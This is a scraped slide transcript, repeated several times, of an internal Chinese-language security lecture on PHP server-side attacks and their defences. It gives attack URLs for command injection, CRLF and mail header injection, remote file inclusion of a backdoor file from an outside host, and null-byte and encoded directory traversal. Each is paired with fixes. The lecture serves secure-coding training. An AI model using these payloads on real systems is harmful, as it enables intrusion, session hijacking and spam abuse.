伺服器端攻擊與防禦ii

31
Taien內部資安講座 V 伺服器端攻擊與防禦II 2013.04.17 @ Hiiir Inc. Taien Wang<[email protected]> 英屬維京群島商時間軸科技股份有限公司新創事業部

Upload: taien-wang

Post on 13-Nov-2014

2.976 views

Category:

Technology


3 download

DESCRIPTION

用戶端攻擊與防禦 Hiiir - Taien 內部資安講座 1020417

TRANSCRIPT

Page 1: 伺服器端攻擊與防禦II

Taien內部資安講座 V 伺服器端攻擊與防禦II

20130417 Hiiir Inc

Taien Wanglttaien_wanghiiircomgt

英屬維京群島商時間軸科技股份有限公司新創事業部

伺服器端攻擊與防禦II - 大綱

1 注入缺失(Injection)

ndash 11 命令注入攻擊(Command Injection)

ndash 12 換行注入攻擊(Carriage Return Injection CRLF Injection)

2 濫用案例(Abuse Cases)

ndash 21 簡訊濫用

ndash 22 電子郵件濫用

3 檔案或資源匯入安全(File Inclusion)

ndash 利用條件

bull 變數覆蓋(register_globals等)

ndash 攻擊技巧

bull 目錄遊走(Directory Traversal)攻擊

ndash 實際案例

ndash 解決方案

4 作業

5 參考資料

1 Injection

Command InjectionCarriage Return Injection

11 Command Injection(12)

bull PHP 中可以直接執行程式的函數

ndash eval() assert() system() exec() shell_exec() passthru() escapeshellcmd() pcntl_exce()

bull 攻擊手法

ndash |

ndash

ndash n(0a)

bull 範例

ndash 正常網址

bull httpwwwhackdemocomclass2commandphpdir=

ndash 攻擊網址

bull httpwwwhackdemocomclass2commandphpdir=who

bull httpwwwhackdemocomclass2commandphpdir=|who

11 Command Injection(22)

bull 解決方案

ndash 白名單

ndash Shell過濾法

bull escapeshellarg()

12 Carriage Return Injection(13)

bull Carriage Return Injection(CRLF Injection) 簡介

ndash CRLF 為兩個字元「rn」 「r」CR(Carriage Return) 16 進位編碼為

0x0d 「n」 LF(Line Feed) 16 進位編碼為 0x0a

ndash 在利用這類斷行符號的應用中若沒做好過濾可能產生安全隱憂

bull 範例 如紀錄檔

ndash httpwwwhackdemocomclass2CRLFLogphpuser=taien0aE4

BDBFE794A8E88085E799BBE585A5E5A4

B1E6959720hacker

12 Carriage Return Injection(23)

bull PHP442 與 512 以限定單一 header

bull 攻擊影響

ndash 透過 CRLF 可任意創建 HTTP 回應 (Http Response Splitting)

ndash 郵件濫用

ndash 指定 Session Id

ndash 可關閉 IE XSS Filter

bull X-XSS-Protection 0

ndash hellip

bull 範例

ndash 攻擊網址

bull httpwwwhackdemocomclass2CRLFphpurl=wwwhackdemoco

m0D0ASet-Cookie PHPSESSION=hackedmax-

age=10000000path=

12 Carriage Return Injection(33)

bull 解決方案

ndash 黑名單消毒

bull 去除 CR 與 LF

2濫用案例

簡訊濫用電子郵件濫用

21 簡訊濫用(12)

21 簡訊濫用(22)

bull 解決方案

ndash 發送紀錄

ndash 限制同 IP 發送次數與同電話發送限制

ndash 驗證碼檢查

ndash Referer 檢查

bull PHP 新的版本已經預設一個 header 只能有一標頭命令

22 郵件濫用(12)

bull PHP 中的 mail() 與 mb_send_mail()透過換行或逗號對任意使用者傳送信件

bull 攻擊效果 竄改信件標頭

ndash From taiennethackgmailcom

ndash Bcc taienvipgmailcom taien_wanghiiircom

bull 範例

ndash 正常網址

bull httpwwwhackdemocomclass2mailphpto=taienabccomampsubject=titleampbody=

mailampfrom=taiennethackgmailcom

ndash 攻擊網址

bull httpwwwhackdemocomclass2mailphpto=taienabccomampsubject=titleampbody=

mail+injectionampfrom=taiennethackgmailcom0d0aBCC3A2ctaienvipgmail

com2ctaien_wanghiiircom

22 郵件濫用(22)

bull 解決方案

ndash To From 需符合 Mail 格式或考慮使用白名單

ndash 限制同一 IP 使用次數

ndash 同 CRLF 防禦

bull 黑名單消毒

ndash 去除 CR 與 LF

3檔案或資源匯入安全(File Inclusion)

Remote File InclusionLocal File Inclusion

3 檔案或資源匯入安全

bull 依據引入來源一般可分為本地及遠端

ndash 本地檔案引入弱點(Local File Inclusion)

ndash 遠端檔案引入弱點(Remote File Inclusion)

bull 各語言常見函數

ndash PHP

bull include() include_once() require() require_once() fopen()

readfile()hellip

ndash JSPServlet

bull AvaioFile() javaioFileReader()

ndash ASP

bull Include file include virtual hellip

31 檔案或資源匯入安全 ndash 利用條件

bull 遠端檔案引入弱點(Remote File Inclusion)利用條件

bull allow_url_fopen (php 4x)

bull allow_url_include (php 52x)

ndash 或

bull register_globals 開啟造成變數覆蓋

bull 其他有可能造成變數覆蓋的函數

32 檔案或資源匯入安全 ndash 攻擊手法(15)

bull 試想以下程式碼有什麼問題 怎麼攻擊

32 檔案或資源匯入安全 ndash 攻擊手法(25)

bull 通用技巧

ndash 0位元截斷(0 00)

ndash

bull 本地端引入技巧

ndash 超長字串

bull Windows 超過 256 位元組

bull Linux 超過 4096 位元組

32 檔案或資源匯入安全 ndash 攻擊手法(35)

bull 目錄遊走(Directory Traversal)攻擊

bull

bull 一些變形

編碼 等同

2e2e2f

2e2e

2f

2e2e5c

2e2e

5c

252e252e255c

255c

32 檔案或資源匯入安全 ndash 攻擊手法(45)

bull 本地端引入技巧

ndash 使用者上傳檔案

ndash session暫存檔案

ndash 記錄檔 access log

ndash 上傳暫存檔案 RFC 1867

ndash procselfenviron web執行緒的環境變數

ndash data或 phpinput 等擬真通訊協定

ndash 應用程式建立的檔案(資料庫檔案 快取檔案 應用記錄檔hellip)

32 檔案或資源匯入安全 ndash 攻擊手法(55)

bull 攻擊範例

ndash RFIphp

bull httpwwwhackdemocomclass2RFIphppath=http16313200164~taien

doortxtampcmd=dir

bull httpwwwhackdemocomclass2RFIphpgpath=http16313200164~taie

ndoortxtampcmd=dir

ndash RFISplitphp

bull httpwwwhackdemocomclass2RFISplitphpcmd=dirampgpath=http16313

200164~taiendoortxt

bull httpwwwhackdemocomclass2RFISplitphpcmd=dirampgpath=http16313

200164~taiendoortxt00

ndash LFIphp

bull httpwwwhackdemocomclass2LFIphplog=fail

bull httpwwwhackdemocomclass2LFIphplog=failsecrettxt00

33 檔案或資源匯入安全 ndash 解決方案

bull 解決方案

ndash 白名單

ndash 黑名單

bull 過濾不正常字串

bull basename()

ndash 系統設定

bull PHPini

ndash allow_url_fopen off

ndash allow_url_include off

ndash register_globals off

ndash open_basedir

raquo Windows 多目錄設定rdquo分號rdquo

raquo Linux 多目錄設定rdquo冒號rdquo

bull Apache

ltDirectory hometaiengt

php_admin_flag allow_url_fopen off

ltDirectorygt

34 檔案或資源匯入安全 ndash 實際案例(15)

bull 知名公告系統 - ANN 公告系統(httpnextimebyethost4com)

34 檔案或資源匯入安全 ndash 實際案例(25)

bull 某知名公告系統(lt130)遠端檔案引入

34 檔案或資源匯入安全 ndash 實際案例(35)

bull 某知名公告系統(lt130)變數覆蓋

34 檔案或資源匯入安全 ndash 實際案例(45)

bull 知名開源專案 - Phorum(httpwwwphorumorg)

34 檔案或資源匯入安全 ndash 實際案例(55)

那一年地下網管

弱點揭露資料庫

bull Exploit-DB

ndash wwwexploit-dbcom

bull WooYunorg

ndash wwwwooyunorg

bull Sebug漏洞信息庫

ndash sebugnet

作業

bull 查詢自己在專案中使用的套件是否有弱點

bull 檢查自己案子是否有 Command Injection 嘗試解決並分享

bull 檢查自己案子是否有濫用案例裡的情節或其他

bull 檢查自己案子是否有 RFI 或 LFI 試解決並分享

參考資料

bull 吳翰清 網路竟然這麼危險(白帽子讲Web安全) 2012

bull 柯志杰譯 網頁程式駭客攻防實戰以PHP為例 2007

bull OWASP OWASP Testing Guide v30

bull Gynvael Coldwind PHP LFI to arbitratry code execution via rfc1867 file

upload temporary files 2011

bull Cb520 ANN公告系統漏洞 2007

bull Exploit-DB

Page 2: 伺服器端攻擊與防禦II

伺服器端攻擊與防禦II - 大綱

1 注入缺失(Injection)

ndash 11 命令注入攻擊(Command Injection)

ndash 12 換行注入攻擊(Carriage Return Injection CRLF Injection)

2 濫用案例(Abuse Cases)

ndash 21 簡訊濫用

ndash 22 電子郵件濫用

3 檔案或資源匯入安全(File Inclusion)

ndash 利用條件

bull 變數覆蓋(register_globals等)

ndash 攻擊技巧

bull 目錄遊走(Directory Traversal)攻擊

ndash 實際案例

ndash 解決方案

4 作業

5 參考資料

1 Injection

Command InjectionCarriage Return Injection

11 Command Injection(12)

bull PHP 中可以直接執行程式的函數

ndash eval() assert() system() exec() shell_exec() passthru() escapeshellcmd() pcntl_exce()

bull 攻擊手法

ndash |

ndash

ndash n(0a)

bull 範例

ndash 正常網址

bull httpwwwhackdemocomclass2commandphpdir=

ndash 攻擊網址

bull httpwwwhackdemocomclass2commandphpdir=who

bull httpwwwhackdemocomclass2commandphpdir=|who

11 Command Injection(22)

bull 解決方案

ndash 白名單

ndash Shell過濾法

bull escapeshellarg()

12 Carriage Return Injection(13)

bull Carriage Return Injection(CRLF Injection) 簡介

ndash CRLF 為兩個字元「rn」 「r」CR(Carriage Return) 16 進位編碼為

0x0d 「n」 LF(Line Feed) 16 進位編碼為 0x0a

ndash 在利用這類斷行符號的應用中若沒做好過濾可能產生安全隱憂

bull 範例 如紀錄檔

ndash httpwwwhackdemocomclass2CRLFLogphpuser=taien0aE4

BDBFE794A8E88085E799BBE585A5E5A4

B1E6959720hacker

12 Carriage Return Injection(23)

bull PHP442 與 512 以限定單一 header

bull 攻擊影響

ndash 透過 CRLF 可任意創建 HTTP 回應 (Http Response Splitting)

ndash 郵件濫用

ndash 指定 Session Id

ndash 可關閉 IE XSS Filter

bull X-XSS-Protection 0

ndash hellip

bull 範例

ndash 攻擊網址

bull httpwwwhackdemocomclass2CRLFphpurl=wwwhackdemoco

m0D0ASet-Cookie PHPSESSION=hackedmax-

age=10000000path=

12 Carriage Return Injection(33)

bull 解決方案

ndash 黑名單消毒

bull 去除 CR 與 LF

2濫用案例

簡訊濫用電子郵件濫用

21 簡訊濫用(12)

21 簡訊濫用(22)

bull 解決方案

ndash 發送紀錄

ndash 限制同 IP 發送次數與同電話發送限制

ndash 驗證碼檢查

ndash Referer 檢查

bull PHP 新的版本已經預設一個 header 只能有一標頭命令

22 郵件濫用(12)

bull PHP 中的 mail() 與 mb_send_mail()透過換行或逗號對任意使用者傳送信件

bull 攻擊效果 竄改信件標頭

ndash From taiennethackgmailcom

ndash Bcc taienvipgmailcom taien_wanghiiircom

bull 範例

ndash 正常網址

bull httpwwwhackdemocomclass2mailphpto=taienabccomampsubject=titleampbody=

mailampfrom=taiennethackgmailcom

ndash 攻擊網址

bull httpwwwhackdemocomclass2mailphpto=taienabccomampsubject=titleampbody=

mail+injectionampfrom=taiennethackgmailcom0d0aBCC3A2ctaienvipgmail

com2ctaien_wanghiiircom

22 郵件濫用(22)

bull 解決方案

ndash To From 需符合 Mail 格式或考慮使用白名單

ndash 限制同一 IP 使用次數

ndash 同 CRLF 防禦

bull 黑名單消毒

ndash 去除 CR 與 LF

3檔案或資源匯入安全(File Inclusion)

Remote File InclusionLocal File Inclusion

3 檔案或資源匯入安全

bull 依據引入來源一般可分為本地及遠端

ndash 本地檔案引入弱點(Local File Inclusion)

ndash 遠端檔案引入弱點(Remote File Inclusion)

bull 各語言常見函數

ndash PHP

bull include() include_once() require() require_once() fopen()

readfile()hellip

ndash JSPServlet

bull AvaioFile() javaioFileReader()

ndash ASP

bull Include file include virtual hellip

31 檔案或資源匯入安全 ndash 利用條件

bull 遠端檔案引入弱點(Remote File Inclusion)利用條件

bull allow_url_fopen (php 4x)

bull allow_url_include (php 52x)

ndash 或

bull register_globals 開啟造成變數覆蓋

bull 其他有可能造成變數覆蓋的函數

32 檔案或資源匯入安全 ndash 攻擊手法(15)

bull 試想以下程式碼有什麼問題 怎麼攻擊

32 檔案或資源匯入安全 ndash 攻擊手法(25)

bull 通用技巧

ndash 0位元截斷(0 00)

ndash

bull 本地端引入技巧

ndash 超長字串

bull Windows 超過 256 位元組

bull Linux 超過 4096 位元組

32 檔案或資源匯入安全 ndash 攻擊手法(35)

bull 目錄遊走(Directory Traversal)攻擊

bull

bull 一些變形

編碼 等同

2e2e2f

2e2e

2f

2e2e5c

2e2e

5c

252e252e255c

255c

32 檔案或資源匯入安全 ndash 攻擊手法(45)

bull 本地端引入技巧

ndash 使用者上傳檔案

ndash session暫存檔案

ndash 記錄檔 access log

ndash 上傳暫存檔案 RFC 1867

ndash procselfenviron web執行緒的環境變數

ndash data或 phpinput 等擬真通訊協定

ndash 應用程式建立的檔案(資料庫檔案 快取檔案 應用記錄檔hellip)

32 檔案或資源匯入安全 ndash 攻擊手法(55)

bull 攻擊範例

ndash RFIphp

bull httpwwwhackdemocomclass2RFIphppath=http16313200164~taien

doortxtampcmd=dir

bull httpwwwhackdemocomclass2RFIphpgpath=http16313200164~taie

ndoortxtampcmd=dir

ndash RFISplitphp

bull httpwwwhackdemocomclass2RFISplitphpcmd=dirampgpath=http16313

200164~taiendoortxt

bull httpwwwhackdemocomclass2RFISplitphpcmd=dirampgpath=http16313

200164~taiendoortxt00

ndash LFIphp

bull httpwwwhackdemocomclass2LFIphplog=fail

bull httpwwwhackdemocomclass2LFIphplog=failsecrettxt00

33 檔案或資源匯入安全 ndash 解決方案

bull 解決方案

ndash 白名單

ndash 黑名單

bull 過濾不正常字串

bull basename()

ndash 系統設定

bull PHPini

ndash allow_url_fopen off

ndash allow_url_include off

ndash register_globals off

ndash open_basedir

raquo Windows 多目錄設定rdquo分號rdquo

raquo Linux 多目錄設定rdquo冒號rdquo

bull Apache

ltDirectory hometaiengt

php_admin_flag allow_url_fopen off

ltDirectorygt

34 檔案或資源匯入安全 ndash 實際案例(15)

bull 知名公告系統 - ANN 公告系統(httpnextimebyethost4com)

34 檔案或資源匯入安全 ndash 實際案例(25)

bull 某知名公告系統(lt130)遠端檔案引入

34 檔案或資源匯入安全 ndash 實際案例(35)

bull 某知名公告系統(lt130)變數覆蓋

34 檔案或資源匯入安全 ndash 實際案例(45)

bull 知名開源專案 - Phorum(httpwwwphorumorg)

34 檔案或資源匯入安全 ndash 實際案例(55)

那一年地下網管

弱點揭露資料庫

bull Exploit-DB

ndash wwwexploit-dbcom

bull WooYunorg

ndash wwwwooyunorg

bull Sebug漏洞信息庫

ndash sebugnet

作業

bull 查詢自己在專案中使用的套件是否有弱點

bull 檢查自己案子是否有 Command Injection 嘗試解決並分享

bull 檢查自己案子是否有濫用案例裡的情節或其他

bull 檢查自己案子是否有 RFI 或 LFI 試解決並分享

參考資料

bull 吳翰清 網路竟然這麼危險(白帽子讲Web安全) 2012

bull 柯志杰譯 網頁程式駭客攻防實戰以PHP為例 2007

bull OWASP OWASP Testing Guide v30

bull Gynvael Coldwind PHP LFI to arbitratry code execution via rfc1867 file

upload temporary files 2011

bull Cb520 ANN公告系統漏洞 2007

bull Exploit-DB

Page 3: 伺服器端攻擊與防禦II

1 Injection

Command InjectionCarriage Return Injection

11 Command Injection(12)

bull PHP 中可以直接執行程式的函數

ndash eval() assert() system() exec() shell_exec() passthru() escapeshellcmd() pcntl_exce()

bull 攻擊手法

ndash |

ndash

ndash n(0a)

bull 範例

ndash 正常網址

bull httpwwwhackdemocomclass2commandphpdir=

ndash 攻擊網址

bull httpwwwhackdemocomclass2commandphpdir=who

bull httpwwwhackdemocomclass2commandphpdir=|who

11 Command Injection(22)

bull 解決方案

ndash 白名單

ndash Shell過濾法

bull escapeshellarg()

12 Carriage Return Injection(13)

bull Carriage Return Injection(CRLF Injection) 簡介

ndash CRLF 為兩個字元「rn」 「r」CR(Carriage Return) 16 進位編碼為

0x0d 「n」 LF(Line Feed) 16 進位編碼為 0x0a

ndash 在利用這類斷行符號的應用中若沒做好過濾可能產生安全隱憂

bull 範例 如紀錄檔

ndash httpwwwhackdemocomclass2CRLFLogphpuser=taien0aE4

BDBFE794A8E88085E799BBE585A5E5A4

B1E6959720hacker

12 Carriage Return Injection(23)

bull PHP442 與 512 以限定單一 header

bull 攻擊影響

ndash 透過 CRLF 可任意創建 HTTP 回應 (Http Response Splitting)

ndash 郵件濫用

ndash 指定 Session Id

ndash 可關閉 IE XSS Filter

bull X-XSS-Protection 0

ndash hellip

bull 範例

ndash 攻擊網址

bull httpwwwhackdemocomclass2CRLFphpurl=wwwhackdemoco

m0D0ASet-Cookie PHPSESSION=hackedmax-

age=10000000path=

12 Carriage Return Injection(33)

bull 解決方案

ndash 黑名單消毒

bull 去除 CR 與 LF

2濫用案例

簡訊濫用電子郵件濫用

21 簡訊濫用(12)

21 簡訊濫用(22)

bull 解決方案

ndash 發送紀錄

ndash 限制同 IP 發送次數與同電話發送限制

ndash 驗證碼檢查

ndash Referer 檢查

bull PHP 新的版本已經預設一個 header 只能有一標頭命令

22 郵件濫用(12)

bull PHP 中的 mail() 與 mb_send_mail()透過換行或逗號對任意使用者傳送信件

bull 攻擊效果 竄改信件標頭

ndash From taiennethackgmailcom

ndash Bcc taienvipgmailcom taien_wanghiiircom

bull 範例

ndash 正常網址

bull httpwwwhackdemocomclass2mailphpto=taienabccomampsubject=titleampbody=

mailampfrom=taiennethackgmailcom

ndash 攻擊網址

bull httpwwwhackdemocomclass2mailphpto=taienabccomampsubject=titleampbody=

mail+injectionampfrom=taiennethackgmailcom0d0aBCC3A2ctaienvipgmail

com2ctaien_wanghiiircom

22 郵件濫用(22)

bull 解決方案

ndash To From 需符合 Mail 格式或考慮使用白名單

ndash 限制同一 IP 使用次數

ndash 同 CRLF 防禦

bull 黑名單消毒

ndash 去除 CR 與 LF

3檔案或資源匯入安全(File Inclusion)

Remote File InclusionLocal File Inclusion

3 檔案或資源匯入安全

bull 依據引入來源一般可分為本地及遠端

ndash 本地檔案引入弱點(Local File Inclusion)

ndash 遠端檔案引入弱點(Remote File Inclusion)

bull 各語言常見函數

ndash PHP

bull include() include_once() require() require_once() fopen()

readfile()hellip

ndash JSPServlet

bull AvaioFile() javaioFileReader()

ndash ASP

bull Include file include virtual hellip

31 檔案或資源匯入安全 ndash 利用條件

bull 遠端檔案引入弱點(Remote File Inclusion)利用條件

bull allow_url_fopen (php 4x)

bull allow_url_include (php 52x)

ndash 或

bull register_globals 開啟造成變數覆蓋

bull 其他有可能造成變數覆蓋的函數

32 檔案或資源匯入安全 ndash 攻擊手法(15)

bull 試想以下程式碼有什麼問題 怎麼攻擊

32 檔案或資源匯入安全 ndash 攻擊手法(25)

bull 通用技巧

ndash 0位元截斷(0 00)

ndash

bull 本地端引入技巧

ndash 超長字串

bull Windows 超過 256 位元組

bull Linux 超過 4096 位元組

32 檔案或資源匯入安全 ndash 攻擊手法(35)

bull 目錄遊走(Directory Traversal)攻擊

bull

bull 一些變形

編碼 等同

2e2e2f

2e2e

2f

2e2e5c

2e2e

5c

252e252e255c

255c

32 檔案或資源匯入安全 ndash 攻擊手法(45)

bull 本地端引入技巧

ndash 使用者上傳檔案

ndash session暫存檔案

ndash 記錄檔 access log

ndash 上傳暫存檔案 RFC 1867

ndash procselfenviron web執行緒的環境變數

ndash data或 phpinput 等擬真通訊協定

ndash 應用程式建立的檔案(資料庫檔案 快取檔案 應用記錄檔hellip)

32 檔案或資源匯入安全 ndash 攻擊手法(55)

bull 攻擊範例

ndash RFIphp

bull httpwwwhackdemocomclass2RFIphppath=http16313200164~taien

doortxtampcmd=dir

bull httpwwwhackdemocomclass2RFIphpgpath=http16313200164~taie

ndoortxtampcmd=dir

ndash RFISplitphp

bull httpwwwhackdemocomclass2RFISplitphpcmd=dirampgpath=http16313

200164~taiendoortxt

bull httpwwwhackdemocomclass2RFISplitphpcmd=dirampgpath=http16313

200164~taiendoortxt00

ndash LFIphp

bull httpwwwhackdemocomclass2LFIphplog=fail

bull httpwwwhackdemocomclass2LFIphplog=failsecrettxt00

33 檔案或資源匯入安全 ndash 解決方案

bull 解決方案

ndash 白名單

ndash 黑名單

bull 過濾不正常字串

bull basename()

ndash 系統設定

bull PHPini

ndash allow_url_fopen off

ndash allow_url_include off

ndash register_globals off

ndash open_basedir

raquo Windows 多目錄設定rdquo分號rdquo

raquo Linux 多目錄設定rdquo冒號rdquo

bull Apache

ltDirectory hometaiengt

php_admin_flag allow_url_fopen off

ltDirectorygt

34 檔案或資源匯入安全 ndash 實際案例(15)

bull 知名公告系統 - ANN 公告系統(httpnextimebyethost4com)

34 檔案或資源匯入安全 ndash 實際案例(25)

bull 某知名公告系統(lt130)遠端檔案引入

34 檔案或資源匯入安全 ndash 實際案例(35)

bull 某知名公告系統(lt130)變數覆蓋

34 檔案或資源匯入安全 ndash 實際案例(45)

bull 知名開源專案 - Phorum(httpwwwphorumorg)

34 檔案或資源匯入安全 ndash 實際案例(55)

那一年地下網管

弱點揭露資料庫

bull Exploit-DB

ndash wwwexploit-dbcom

bull WooYunorg

ndash wwwwooyunorg

bull Sebug漏洞信息庫

ndash sebugnet

作業

bull 查詢自己在專案中使用的套件是否有弱點

bull 檢查自己案子是否有 Command Injection 嘗試解決並分享

bull 檢查自己案子是否有濫用案例裡的情節或其他

bull 檢查自己案子是否有 RFI 或 LFI 試解決並分享

參考資料

bull 吳翰清 網路竟然這麼危險(白帽子讲Web安全) 2012

bull 柯志杰譯 網頁程式駭客攻防實戰以PHP為例 2007

bull OWASP OWASP Testing Guide v30

bull Gynvael Coldwind PHP LFI to arbitratry code execution via rfc1867 file

upload temporary files 2011

bull Cb520 ANN公告系統漏洞 2007

bull Exploit-DB

Page 4: 伺服器端攻擊與防禦II

11 Command Injection(12)

bull PHP 中可以直接執行程式的函數

ndash eval() assert() system() exec() shell_exec() passthru() escapeshellcmd() pcntl_exce()

bull 攻擊手法

ndash |

ndash

ndash n(0a)

bull 範例

ndash 正常網址

bull httpwwwhackdemocomclass2commandphpdir=

ndash 攻擊網址

bull httpwwwhackdemocomclass2commandphpdir=who

bull httpwwwhackdemocomclass2commandphpdir=|who

11 Command Injection(22)

bull 解決方案

ndash 白名單

ndash Shell過濾法

bull escapeshellarg()

12 Carriage Return Injection(13)

bull Carriage Return Injection(CRLF Injection) 簡介

ndash CRLF 為兩個字元「rn」 「r」CR(Carriage Return) 16 進位編碼為

0x0d 「n」 LF(Line Feed) 16 進位編碼為 0x0a

ndash 在利用這類斷行符號的應用中若沒做好過濾可能產生安全隱憂

bull 範例 如紀錄檔

ndash httpwwwhackdemocomclass2CRLFLogphpuser=taien0aE4

BDBFE794A8E88085E799BBE585A5E5A4

B1E6959720hacker

12 Carriage Return Injection(23)

bull PHP442 與 512 以限定單一 header

bull 攻擊影響

ndash 透過 CRLF 可任意創建 HTTP 回應 (Http Response Splitting)

ndash 郵件濫用

ndash 指定 Session Id

ndash 可關閉 IE XSS Filter

bull X-XSS-Protection 0

ndash hellip

bull 範例

ndash 攻擊網址

bull httpwwwhackdemocomclass2CRLFphpurl=wwwhackdemoco

m0D0ASet-Cookie PHPSESSION=hackedmax-

age=10000000path=

12 Carriage Return Injection(33)

bull 解決方案

ndash 黑名單消毒

bull 去除 CR 與 LF

2濫用案例

簡訊濫用電子郵件濫用

21 簡訊濫用(12)

21 簡訊濫用(22)

bull 解決方案

ndash 發送紀錄

ndash 限制同 IP 發送次數與同電話發送限制

ndash 驗證碼檢查

ndash Referer 檢查

bull PHP 新的版本已經預設一個 header 只能有一標頭命令

22 郵件濫用(12)

bull PHP 中的 mail() 與 mb_send_mail()透過換行或逗號對任意使用者傳送信件

bull 攻擊效果 竄改信件標頭

ndash From taiennethackgmailcom

ndash Bcc taienvipgmailcom taien_wanghiiircom

bull 範例

ndash 正常網址

bull httpwwwhackdemocomclass2mailphpto=taienabccomampsubject=titleampbody=

mailampfrom=taiennethackgmailcom

ndash 攻擊網址

bull httpwwwhackdemocomclass2mailphpto=taienabccomampsubject=titleampbody=

mail+injectionampfrom=taiennethackgmailcom0d0aBCC3A2ctaienvipgmail

com2ctaien_wanghiiircom

22 郵件濫用(22)

bull 解決方案

ndash To From 需符合 Mail 格式或考慮使用白名單

ndash 限制同一 IP 使用次數

ndash 同 CRLF 防禦

bull 黑名單消毒

ndash 去除 CR 與 LF

3檔案或資源匯入安全(File Inclusion)

Remote File InclusionLocal File Inclusion

3 檔案或資源匯入安全

bull 依據引入來源一般可分為本地及遠端

ndash 本地檔案引入弱點(Local File Inclusion)

ndash 遠端檔案引入弱點(Remote File Inclusion)

bull 各語言常見函數

ndash PHP

bull include() include_once() require() require_once() fopen()

readfile()hellip

ndash JSPServlet

bull AvaioFile() javaioFileReader()

ndash ASP

bull Include file include virtual hellip

31 檔案或資源匯入安全 ndash 利用條件

bull 遠端檔案引入弱點(Remote File Inclusion)利用條件

bull allow_url_fopen (php 4x)

bull allow_url_include (php 52x)

ndash 或

bull register_globals 開啟造成變數覆蓋

bull 其他有可能造成變數覆蓋的函數

32 檔案或資源匯入安全 ndash 攻擊手法(15)

bull 試想以下程式碼有什麼問題 怎麼攻擊

32 檔案或資源匯入安全 ndash 攻擊手法(25)

bull 通用技巧

ndash 0位元截斷(0 00)

ndash

bull 本地端引入技巧

ndash 超長字串

bull Windows 超過 256 位元組

bull Linux 超過 4096 位元組

32 檔案或資源匯入安全 ndash 攻擊手法(35)

bull 目錄遊走(Directory Traversal)攻擊

bull

bull 一些變形

編碼 等同

2e2e2f

2e2e

2f

2e2e5c

2e2e

5c

252e252e255c

255c

32 檔案或資源匯入安全 ndash 攻擊手法(45)

bull 本地端引入技巧

ndash 使用者上傳檔案

ndash session暫存檔案

ndash 記錄檔 access log

ndash 上傳暫存檔案 RFC 1867

ndash procselfenviron web執行緒的環境變數

ndash data或 phpinput 等擬真通訊協定

ndash 應用程式建立的檔案(資料庫檔案 快取檔案 應用記錄檔hellip)

32 檔案或資源匯入安全 ndash 攻擊手法(55)

bull 攻擊範例

ndash RFIphp

bull httpwwwhackdemocomclass2RFIphppath=http16313200164~taien

doortxtampcmd=dir

bull httpwwwhackdemocomclass2RFIphpgpath=http16313200164~taie

ndoortxtampcmd=dir

ndash RFISplitphp

bull httpwwwhackdemocomclass2RFISplitphpcmd=dirampgpath=http16313

200164~taiendoortxt

bull httpwwwhackdemocomclass2RFISplitphpcmd=dirampgpath=http16313

200164~taiendoortxt00

ndash LFIphp

bull httpwwwhackdemocomclass2LFIphplog=fail

bull httpwwwhackdemocomclass2LFIphplog=failsecrettxt00

33 檔案或資源匯入安全 ndash 解決方案

bull 解決方案

ndash 白名單

ndash 黑名單

bull 過濾不正常字串

bull basename()

ndash 系統設定

bull PHPini

ndash allow_url_fopen off

ndash allow_url_include off

ndash register_globals off

ndash open_basedir

raquo Windows 多目錄設定rdquo分號rdquo

raquo Linux 多目錄設定rdquo冒號rdquo

bull Apache

ltDirectory hometaiengt

php_admin_flag allow_url_fopen off

ltDirectorygt

34 檔案或資源匯入安全 ndash 實際案例(15)

bull 知名公告系統 - ANN 公告系統(httpnextimebyethost4com)

34 檔案或資源匯入安全 ndash 實際案例(25)

bull 某知名公告系統(lt130)遠端檔案引入

34 檔案或資源匯入安全 ndash 實際案例(35)

bull 某知名公告系統(lt130)變數覆蓋

34 檔案或資源匯入安全 ndash 實際案例(45)

bull 知名開源專案 - Phorum(httpwwwphorumorg)

34 檔案或資源匯入安全 ndash 實際案例(55)

那一年地下網管

弱點揭露資料庫

bull Exploit-DB

ndash wwwexploit-dbcom

bull WooYunorg

ndash wwwwooyunorg

bull Sebug漏洞信息庫

ndash sebugnet

作業

bull 查詢自己在專案中使用的套件是否有弱點

bull 檢查自己案子是否有 Command Injection 嘗試解決並分享

bull 檢查自己案子是否有濫用案例裡的情節或其他

bull 檢查自己案子是否有 RFI 或 LFI 試解決並分享

參考資料

bull 吳翰清 網路竟然這麼危險(白帽子讲Web安全) 2012

bull 柯志杰譯 網頁程式駭客攻防實戰以PHP為例 2007

bull OWASP OWASP Testing Guide v30

bull Gynvael Coldwind PHP LFI to arbitratry code execution via rfc1867 file

upload temporary files 2011

bull Cb520 ANN公告系統漏洞 2007

bull Exploit-DB

Page 5: 伺服器端攻擊與防禦II

11 Command Injection(22)

bull 解決方案

ndash 白名單

ndash Shell過濾法

bull escapeshellarg()

12 Carriage Return Injection(13)

bull Carriage Return Injection(CRLF Injection) 簡介

ndash CRLF 為兩個字元「rn」 「r」CR(Carriage Return) 16 進位編碼為

0x0d 「n」 LF(Line Feed) 16 進位編碼為 0x0a

ndash 在利用這類斷行符號的應用中若沒做好過濾可能產生安全隱憂

bull 範例 如紀錄檔

ndash httpwwwhackdemocomclass2CRLFLogphpuser=taien0aE4

BDBFE794A8E88085E799BBE585A5E5A4

B1E6959720hacker

12 Carriage Return Injection(23)

bull PHP442 與 512 以限定單一 header

bull 攻擊影響

ndash 透過 CRLF 可任意創建 HTTP 回應 (Http Response Splitting)

ndash 郵件濫用

ndash 指定 Session Id

ndash 可關閉 IE XSS Filter

bull X-XSS-Protection 0

ndash hellip

bull 範例

ndash 攻擊網址

bull httpwwwhackdemocomclass2CRLFphpurl=wwwhackdemoco

m0D0ASet-Cookie PHPSESSION=hackedmax-

age=10000000path=

12 Carriage Return Injection(33)

bull 解決方案

ndash 黑名單消毒

bull 去除 CR 與 LF

2濫用案例

簡訊濫用電子郵件濫用

21 簡訊濫用(12)

21 簡訊濫用(22)

bull 解決方案

ndash 發送紀錄

ndash 限制同 IP 發送次數與同電話發送限制

ndash 驗證碼檢查

ndash Referer 檢查

bull PHP 新的版本已經預設一個 header 只能有一標頭命令

22 郵件濫用(12)

bull PHP 中的 mail() 與 mb_send_mail()透過換行或逗號對任意使用者傳送信件

bull 攻擊效果 竄改信件標頭

ndash From taiennethackgmailcom

ndash Bcc taienvipgmailcom taien_wanghiiircom

bull 範例

ndash 正常網址

bull httpwwwhackdemocomclass2mailphpto=taienabccomampsubject=titleampbody=

mailampfrom=taiennethackgmailcom

ndash 攻擊網址

bull httpwwwhackdemocomclass2mailphpto=taienabccomampsubject=titleampbody=

mail+injectionampfrom=taiennethackgmailcom0d0aBCC3A2ctaienvipgmail

com2ctaien_wanghiiircom

